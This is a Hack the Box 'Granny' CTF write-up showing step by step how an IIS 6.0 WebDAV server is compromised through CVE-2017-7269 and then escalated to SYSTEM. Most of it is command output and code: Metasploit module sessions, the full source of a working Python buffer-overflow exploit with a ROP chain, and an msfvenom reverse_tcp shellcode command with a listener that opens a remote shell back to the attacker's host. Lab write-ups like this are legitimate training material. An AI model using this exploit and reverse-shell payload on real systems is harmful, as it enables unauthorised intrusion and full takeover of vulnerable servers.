Today we are going to solve another CTF challenge “Granny” which is categories as retired lab presented by Hack the Box for making online penetration practices. Challenges in this lab are not hard to complete although they are like a brain teaser for the beginner as well as for expert penetration tester too.
Level: Easy
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Granny is 10.10.10.15 so let’s initiate with nmap port enumeration.
c:\PENTEST>nmap -sC 10.10.10.15 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-25 19:39 W. Europe Standard Time Nmap scan report for 10.10.10.15 Host is up (0.019s latency). Not shown: 999 filtered ports PORT STATE SERVICE 80/tcp open http | http-methods: |_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT |_http-title: Error | http-webdav-scan: | Server Date: Fri, 25 Jan 2019 18:36:25 GMT | Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK | Server Type: Microsoft-IIS/6.0 | WebDAV type: Unkown |_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH Nmap done: 1 IP address (1 host up) scanned in 15.99 seconds
Significant port 80 is open in victim’s network we preferred to explore his IP in the browser and resulting web page is shown below.
Since we know Microsoft IIS httpd 6.0 is running in victims system therefore when I Google I found a Rapid 7 exploit for this
Without wasting time I open a new terminal and type msfconsole for loading metasploit framework and use module iis_webdav for exploiting targets system.
root@kali:~/htb/granny# msfconsole =[ metasploit v4.17.33-dev ] + -- --=[ 1843 exploits - 1045 auxiliary - 320 post ] + -- --=[ 541 payloads - 44 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use exploit/windows/iis/iis_webdav_scstoragepathfromurl msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > show options Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl): Name Current Setting Required Description ---- --------------- -------- ----------- MAXPATHLENGTH 60 yes End of physical path brute force MINPATHLENGTH 3 yes Start of physical path brute force Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path of IIS 6 web application VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 Microsoft Windows Server 2003 R2 SP2 x86 msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rhost 10.10.10.15 rhost => 10.10.10.15 msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > check [+] 10.10.10.15:80 - The target is vulnerable. msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit [*] Started reverse TCP handler on 10.10.14.13:4444 [*] Trying path length 3 to 60 ... [*] Sending stage (179779 bytes) to 10.10.10.15 [*] Meterpreter session 1 opened (10.10.14.13:4444 -> 10.10.10.15:1072) at 2019-01-24 20:39:46 +0100 meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System 276 4 smss.exe 324 276 csrss.exe 348 276 winlogon.exe 396 348 services.exe 408 348 lsass.exe 616 396 svchost.exe 680 396 svchost.exe 740 396 svchost.exe 772 396 svchost.exe 800 396 svchost.exe 936 396 spoolsv.exe 964 396 msdtc.exe 1076 396 cisvc.exe 1124 1076 cidaemon.exe 1132 396 svchost.exe 1180 396 inetinfo.exe 1216 396 svchost.exe 1332 396 VGAuthService.exe 1412 396 vmtoolsd.exe 1464 396 svchost.exe 1604 396 svchost.exe 1704 396 alg.exe 1832 1076 cidaemon.exe 1864 616 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe 1916 396 dllhost.exe 2060 1076 cidaemon.exe 2440 616 wmiprvse.exe 2816 348 logon.scr 3572 1464 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe 3584 616 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe 3700 3572 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe meterpreter > migrate 1864 [*] Migrating from 3700 to 1864... [*] Migration completed successfully. meterpreter > shell Process 2228 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>whoami whoami nt authority\network service C:\WINDOWS\system32>
Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for the further exploit.
meterpreter > Background session 1? [y/N] msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use exploit/windows/local/ppr_flatten_rec msf exploit(windows/local/ppr_flatten_rec) > set session 1 session => 1 msf exploit(windows/local/ppr_flatten_rec) > set wait 20 wait => 20 msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.13 lhost => 10.10.14.13 msf exploit(windows/local/ppr_flatten_rec) > exploit [*] Started reverse TCP handler on 10.10.14.13:4444 [*] Launching notepad to host the exploit... [+] Process 2972 launched. [*] Reflectively injecting the exploit DLL into 2972... [*] Injecting exploit into 2972 ... [*] Exploit injected. Injecting payload into 2972... [*] Payload injected. Executing exploit... [*] Exploit thread executing (can take a while to run), waiting 30 sec ... [*] Sending stage (179779 bytes) to 10.10.10.15 [*] Meterpreter session 2 opened (10.10.14.13:4444 -> 10.10.10.15:1077) at 2019-01-24 20:57:44 +0100 meterpreter >
meterpreter > background [*] Backgrounding session 2... msf exploit(windows/local/ppr_flatten_rec) > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows NT AUTHORITY\NETWORK SERVICE @ GRANNY 10.10.14.13:4444 -> 10.10.10.15:1076 (10.10.10.15) 2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ GRANNY 10.10.14.13:4444 -> 10.10.10.15:1077 (10.10.10.15) msf exploit(windows/local/ppr_flatten_rec) > sessions -i 2 [*] Starting interaction with 2... meterpreter > shell Process 2348 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>whoami whoami nt authority\system
root@kali:~/htb/granny# cat ExplodingCan.py #!/usr/bin/python # -*- coding: utf-8 -*- # # An implementation of NSA's ExplodingCan exploit # Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow # CVE-2017-7269 # # by @danigargu # # import re import sys import socket import requests import httplib import string import time import random import sys from urlparse import urlparse from struct import pack REQUEST_TIMEOUT = 10 DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot") def decode(data): return data.decode("utf-8").encode("utf-16le") def encode(data): return data.decode("utf-16le").encode("utf-8") p = lambda x : pack("<L", x) # pack def rand_text_alpha(size): chars = string.ascii_uppercase + string.ascii_lowercase + string.digits return ''.join(random.choice(chars) for _ in range(size)) def supports_webdav(headers): if "DAV" in headers.get('MS-Author-Via','') or \ headers.get('DASL','') == '<DAV:sql>' or \ re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \ "PROPFIND" in headers.get('Public','') or \ "PROPFIND" in headers.get('Allow',''): return True return False def check(url): r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT) if r.status_code != 200: print("[-] Status code: %d" % r.status_code) return False print("[*] Server found: %s" % r.headers['Server']) if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers): return True return False def find_iis_path_len(url, min_len=3, max_len=70, delay=0): idx = 0 junk = 60 found = False iis_path_len = None cur_size = max_len assert max_len <= 130, "Max length exceeded (130)" init_lenght = 130-max_len while not found and cur_size > min_len: cur_size = (max_len-idx) to_brute = rand_text_alpha(init_lenght+idx) base_query = "<http://localhost/%s> (Not <locktoken:write1>) <http://localhost/>" % to_brute sys.stdout.write("[*] Trying with size: %d\r" % cur_size) sys.stdout.flush() try: r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT, headers={ 'Content-Length': '0', 'Host': 'localhost', 'If': base_query }) if r.status_code == 500: iis_path_len = (max_len-idx) found = True idx += 1 time.sleep(delay) # requests.exceptions.ReadTimeout except requests.exceptions.ConnectionError as e: print("[-] ERROR: %s" % e.message) break if iis_path_len and iis_path_len == max_len: iis_path_len = None return iis_path_len def make_payload(p_url, iis_path_len, shellcode): url = p_url.geturl() payload = "PROPFIND / HTTP/1.1\r\n" payload += "Host: %s\r\n" % p_url.netloc payload += "Content-Length: 0\r\n" payload += "If: <%s/a" % url junk = (128-iis_path_len) * 2 p1 = rand_text_alpha(junk) # Varies the length given its IIS physical path p1 += p(0x02020202) p1 += p(0x680312c0) # str pointer to .data httpext.dll p1 += rand_text_alpha(24) p1 += p(0x680313c0) # destination pointer used with memcpy p1 += rand_text_alpha(12) p1 += p(0x680313c0) # destination pointer used with memcpy payload += encode(p1) payload += "> (Not <locktoken:write1>) " payload += "<%s/b" % url p2 = rand_text_alpha(junk - 4) p2 += p(0x680313c0) """ Stack adjust: rsaenh.dll:68006E4F pop esi rsaenh.dll:68006E50 pop ebp rsaenh.dll:68006E51 retn 20h """ p2 += p(0x68006e4f) # StackAdjust p2 += p(0x68006e4f) # StackAdjust p2 += rand_text_alpha(4) p2 += p(0x680313c0) p2 += p(0x680313c0) p2 += rand_text_alpha(12) """ rsaenh.dll:68016082 mov esp, ecx rsaenh.dll:68016084 mov ecx, [eax] rsaenh.dll:68016086 mov eax, [eax+4] rsaenh.dll:68016089 push eax rsaenh.dll:6801608A retn """ p2 += p(0x68016082) p2 += rand_text_alpha(12) p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE p2 += rand_text_alpha(4) p2 += p(0x680124e3) # JMP [EBX] p2 += p(0x68031460) # shellcode address p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address p2 += p(0xffffffff) p2 += p(0x680313c0) p2 += p(0x6803046e) p2 += rand_text_alpha(4) p2 += p(0x68031434) p2 += p(0x680129e7) # leave; ret """ rsaenh.dll:68009391 pop eax rsaenh.dll:68009392 pop ebp rsaenh.dll:68009393 retn 4 """ p2 += p(0x68009391) p2 += rand_text_alpha(16) p2 += p(0x6803141c) """ rsaenh.dll:68006E05 lea esp, [ebp-20h] rsaenh.dll:68006E08 pop edi rsaenh.dll:68006E09 pop esi rsaenh.dll:68006E0A pop ebx rsaenh.dll:68006E0B leave rsaenh.dll:68006E0C retn 24h """ p2 += p(0x68006e05) p2 += rand_text_alpha(12) p2 += p(0x68008246) # EAX val address p2 += rand_text_alpha(4) """ Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server) rsaenh.dll:68021DAA mov eax, [eax+110h] rsaenh.dll:68021DB0 pop ebp rsaenh.dll:68021DB1 retn 4 """ p2 += p(0x68021daa) p2 += rand_text_alpha(4) p2 += p(0x680313f8) p2 += p(0x680129e7) # leave; ret payload += encode(p2) """ stack restore: 90 nop 31db xor ebx, ebx b308 mov bl, 8 648b23 mov esp, dword fs:[ebx] 6681c40008 add sp, 0x800 90 nop """ payload += encode("9031DBB308648B236681C4000890".decode("hex")) payload += encode(shellcode) payload += ">\r\n\r\n" return payload def send_exploit(p_url, data): host = p_url.hostname port = p_url.port if p_url.port else 80 vulnerable = False recv_data = None try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(50) sock.connect((host, port)) sock.send(data) recv_data = sock.recv(1024) sock.close() except socket.timeout: print("[*] Socket timeout") vulnerable = True except socket.error as e: if e.errno == 54: print("[*] Connection reset by peer") vulnerable = True return (vulnerable, recv_data) def main(): if len(sys.argv) < 3: print("Usage: %s <url> <shellcode-file>" % sys.argv[0]) return try: url = sys.argv[1] sc_file = sys.argv[2] p_url = urlparse(url) shellcode = None with open(sc_file, 'rb') as f: shellcode = f.read() print("[*] Using URL: %s" % url) if not check(url): print("[-] Server not vulnerable") return iis_path_len = find_iis_path_len(url) if not iis_path_len: print("[-] Unable to determine IIS path size") return print("[*] Found IIS path size: %d" % iis_path_len) if iis_path_len == DEFAULT_IIS_PATH_SIZE: print("[*] Default IIS path: C:\Inetpub\wwwroot") r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT) if r and r.status_code == 207: print("[*] WebDAV request: OK") payload = make_payload(p_url, iis_path_len, shellcode) print("[*] Payload len: %d" % len(payload)) print("[*] Sending payload...") vuln, recv_data = send_exploit(p_url, payload) if vuln: print("[+] The host is maybe vulnerable") if recv_data: print(recv_data) else: print("[-] Server did not respond correctly to WebDAV request") return except Exception as e: print("[-] %s" % e) if __name__ == '__main__': main()
root@kali:~/htb/granny# msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=10.10.14.2 LPORT=4444 >shellcode [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/alpha_mixed x86/alpha_mixed succeeded with size 744 (iteration=0) x86/alpha_mixed chosen with final size 744 Payload size: 744 bytes root@kali:~/htb/granny# ls ExplodingCan.py puck.sh shellcode
root@kali:~/htb/granny# python ExplodingCan.py http://10.10.10.15 shellcode [*] Using URL: http://10.10.10.15 [*] Server found: Microsoft-IIS/6.0 [*] Found IIS path size: 18 [*] Default IIS path: C:\Inetpub\wwwroot [*] WebDAV request: OK [*] Payload len: 2241 [*] Sending payload... [*] Socket timeout [+] The host is maybe vulnerable
msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 10.10.14.2 lhost => 10.10.14.2 msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 10.10.14.2:4444 [*] Sending stage (179779 bytes) to 10.10.10.15 [*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.15:1105) at 2019-02-20 19:24:56 +0100